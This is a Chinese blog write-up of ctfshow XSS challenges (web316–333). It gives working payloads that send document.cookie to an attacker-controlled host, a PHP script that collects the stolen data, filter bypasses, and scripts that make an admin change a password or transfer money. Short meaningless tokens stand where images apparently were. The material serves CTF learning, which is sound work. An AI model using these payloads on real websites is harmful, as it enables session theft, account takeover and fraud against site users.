1243 字
6 分钟
ctfshow-XSS学习
2024-07-29
无标签

XSS介绍#

  网站中包含大量的动态内容以提高用户体验,比过去要复杂得多。所谓动态内容,就是根据用户环境和需要,Web应用程序能够输出相应的内容。动态站点会受到一种名为“跨站脚本攻击”(Cross Site Scripting,安全专家们通常将其缩写成XSS,原本应当是css,但为了和层叠样式表(Cascading Style Sheet,CSS)有所区分,故称XSS)的威胁,而静态站点则完全不受其影响。恶意攻击者会在 Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。

  跨站脚本攻击是一种针对网站应用程序的安全漏洞攻击技术,是代码注入的一种。它允许恶意用户将代码注入网页,其他用户在浏览网页时会受到影响,恶意用户利用xss 代码攻击成功后,可能得到很高的权限、私密网页内容、会话和cookie等各种内容   攻击者利用XSS漏洞旁路掉访问控制——例如同源策略(same origin policy)。这种类型的漏洞由于被黑客用来编写危害性更大的网络钓鱼(Phishing)攻击而变得广为人知。对于跨站脚本攻击,黑客界共识是:跨站脚本攻击是新型的“缓冲区溢出攻击”,而JavaScript是新型的“ShellCode”。

xss漏洞通常是通过php的输出函数将javascript代码输出到html页面中,通过用户本地浏览器执行的,所以xss漏洞关键就是寻找参数未过滤的输出函数。

就是把我们可以修改的地方改成具有html标签的语句,这样就可以将它镶嵌在网页中执行命令 如果是admin看到的话还可以抓到cookie之类的

XSS#

反射性 web316#

反射型xss又称非持久型xss,是目前最普遍的类型,这种攻击方式往往具有一次性。发出请求时,XSS代码出现在URL中,作为输入提交到服务器端,服务器端解析后响应,XSS代码随响应内容一起传回给浏览器,最后浏览器解析执行XSS代码。这个过程像一次反射,所以称反射型XSS。

9zawl 生成链接后,服务器会自动点入链接,以此实现XSS

方案一 获取管理员cookie#

读取flag需要管理员cookie,我们可以通过xss获取

在能被公网访问的服务器上创建此XSS.php

大B的脚本

<?php
$content = $_GET[1];
if(isset($content)){
    file_put_contents('flag.txt',$content);
}else{
    echo 'no date input';
}

payload:

<script>document.location.href='http://域名或IP/XSS.php?1='+document.cookie</script>

document.cookie可以获取cookie

XSS.php会在目录下将获得的信息生成并存入flag.txt

获得flag

ffwlm

方案二 netcat#

任选一个进行payload,在监听端做好对端口的监听

若网页对某个标签进行过滤,可以选择不同的payload

<script>document.location.href='http://xxx:port/'+document.cookie</script>
<body onload="window.open('http://xxx:port/'+document.cookie)"></body>
<svg onload="window.open('http://xxx:port/'+document.cookie)"></svg>
<input onfocus="window.open('http://xxx:port/'+document.cookie)" autofocus></input>
<iframe onload="window.open('http://xxx:port/'+document.cookie)"></iframe>

hspkq 第一次没有出flag是因为是我们自己点的链接 第二次是服务器,带出flag

web317#

尝试发现过滤了script 尝试其它标签

img标签
<img src="" onerror=location.href="http://ip/x.php?cookie="+document.cookie>

也可以尝试其它nc命令

9w12r

web318#

被过滤img标签,nc或body接着用

<body onload=document.location.href='http://IP/XSS.php?1='+document.cookie>

web319#

过滤了空格。将空格换为/绕过

<body/onload=document.location.href='http://IP/XSS.php?1='+document.cookie>

之后都差不多

持久性 web327#

存储型XSS和反射型XSS的差别仅在于,提交的代码会存储在服务器端(数据库、内存、文件系统等),下次请求目标页面时不用再提交XSS代码。最典型的例子就是留言板XSS,用户提交一条包含XSS代码的留言存储到数据库,目标用户查看留言板时,那些留言就会从数据库中加载出来并显示,于是触发了XSS攻击

o57kn

这里信的内容就是我们要payload的位置,使用上一题的payload便可

web328#

4o4ya 管理员会看见所有用户名信息,那么在用户名处存在XSS 用payload当用户名注册,便可获得管理员cookie

payload这里选择<script></script> 03enc 在burp中修改cookie并一条条请求放着过,得到

pt9vx

web329#

与上一题相同的题面 但在尝试后发现cookie会不断变化 问题不大,我们可以通过在服务器的xss脚本直接进行所需内容的提取

payload:

<script>$('.laytable-cell-1-0-1').each(function(index,value){if(value.innerHTML.indexOf('ctf'+'show{')>-1)
{window.location.href='http://IP/XSS.php?1='+value.innerHTML;}});</script>
<!--查找“ctfshow{”字符串-->

web330#

多了个修改密码 尝试修改管理员密码 那么就需要从本地访问 构造payload:

<script>location.href="http://127.0.0.1/api/change.php?p=12345678"</script>

uzdqf

web331#

这次是POST请求,用ajax请求

payload:

<script>$.ajax({url:'api/change.php',type:'post',data:{p:'111'}});</script>

web332 & web333#

题面改变

qb0hm 有转账功能!可以让admin给我转账 首先创建一个新号or 之后在注册界面payload:

<script>$.ajax({url:'/api/amount.php',type:'post',data:{u:'or',a:10000}});</script>
<!--给or账户10000元-->

关于ajax https://blog.csdn.net/weixin_50602266/article/details/121910781

w0vge

ctfshow-XSS学习
http://orxiain.life/posts/ctfshow-xss学习/
作者
𝚘𝚛𝚡𝚒𝚊𝚒𝚗.
发布于
2024-07-29
许可协议
CC BY-NC-SA 4.0